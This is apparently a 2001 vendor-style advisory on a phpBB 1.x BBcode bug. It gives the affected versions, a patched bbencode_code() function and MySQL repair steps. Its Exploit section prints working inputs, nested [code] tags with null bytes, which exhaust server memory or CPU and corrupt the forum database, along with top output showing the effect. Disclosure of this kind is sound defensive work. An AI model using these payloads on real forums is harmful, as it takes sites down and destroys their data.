(WSS-Advisories-02003) PHPBB BBcode Process Vulnerability
Release infomation
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Release Date: 2001-4-4
Author: By Whitecell Security Systems(WSS)
tombkeeper (tombkeeperat_private)
alert7 (alert7at_private)
Homepage: http://www.whitecell.org/
Impact:
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WSS has found a vulnerability in PHPBB when PHPBB process BBcode,which could
enbale one user D.O.S system and destroy PHPBB databases.
Affected Versions
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phpBB Group phpBB 1.4.4
phpBB Group phpBB 1.4.2
phpBB Group phpBB 1.4.1
phpBB Group phpBB 1.4.0
phpBB Group phpBB 1.2.1
phpBB Group phpBB 1.2.0
phpBB Group phpBB 1.0.0
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NOT TEST:
phpBB Group phpBB 2.x
Description:
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phpbb support nesting BBcode [code][/code],[quote][/quote],[list][/list].
Unfortunately,there is a mistake when process BBcode in functions.php .
Exploit:
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submit the following poster:
[code]
\0\0\0\0\0\0\0
[/code]
In fact, the following data have saved to database after BBcode process.
[1code]
\0\0\0\0\0\0\0
[/code1][1code]
\0\0\0\0\0\0\0
[/code1][1code]
\0\0\0\0\0\0\0
[/code1][1code]
\0\0\0\0\0\0\0
[/code1][1code]
\0\0\0\0\0\0\0
[/code1][1code]
\0\0\0\0\0\0\0
[/code1][1code]
\0\0\0\0\0\0\0
[/code1]
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submit the following poster:
[code]'\0'*800[/code]
see system
whitecell$ top
PID USER PRI NI SIZE RSS SHARE STAT TIME COMMAND
8643 nobody 13 0 212M 81M 13604 D 8.0 65.7 0:07 httpd
phpbb error message:
Could not enter post text!
but in fact ,Two data have alreay saved to databases.Now, the database
is uncompleted.If you brower the forum to see which you post,phpbb could
report message:"Could not connect to the forums database."
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submit 49 bytes data:
[code]\0[code]\0[code]\0[/code]\0[/code]\0[/code]
type top to see cpu:
PID USER PRI NI SIZE RSS SHARE STAT TIME COMMAND
25741 nobody 14 0 11828 9996 416 R 99.9 7.8 2:38 httpd
Experiment environment£ºlinux 2.4.10 Apache/1.3.23 PHP 4.1.2
Vendor
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http://www.phpbb.com
Workaround:
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1:disale BBcode until Vendor fixed.
2:modify functions.php bbencode_code()
function bbencode_code($message, $is_html_disabled)
{
$message = preg_replace("/\[code\](.*?)\[\/code\]/si", "<!-- BBCode Start --><TABLE BORDER=0 ALIGN=CENTER WIDTH=85><TR><TD><font size=-1>Code:</font><HR></TD></TR><TR><TD><FONT SIZE=-1><PRE>\\1</PRE></FONT></TD></TR><TR><TD><HR></TD></TR></TABLE><!-- BBCode End -->", $message);
return $message;
} // bbencode_code()
REPAIR DATABASE:
if url is http://host/forums/viewtopic.php?topic=1162&forum=1&0
you can use the following command to repair it :
whitecell$ mysql -uuser -ppasswd
mysql> use databasename;
mysql> select * from topics where topic_id = 1162; //GET post_id
mysql> delete from posts where post_id = 6280;
mysql> delete from posts_text where post_id = 6280;
mysql> delete from topics where topic_id = 1162;
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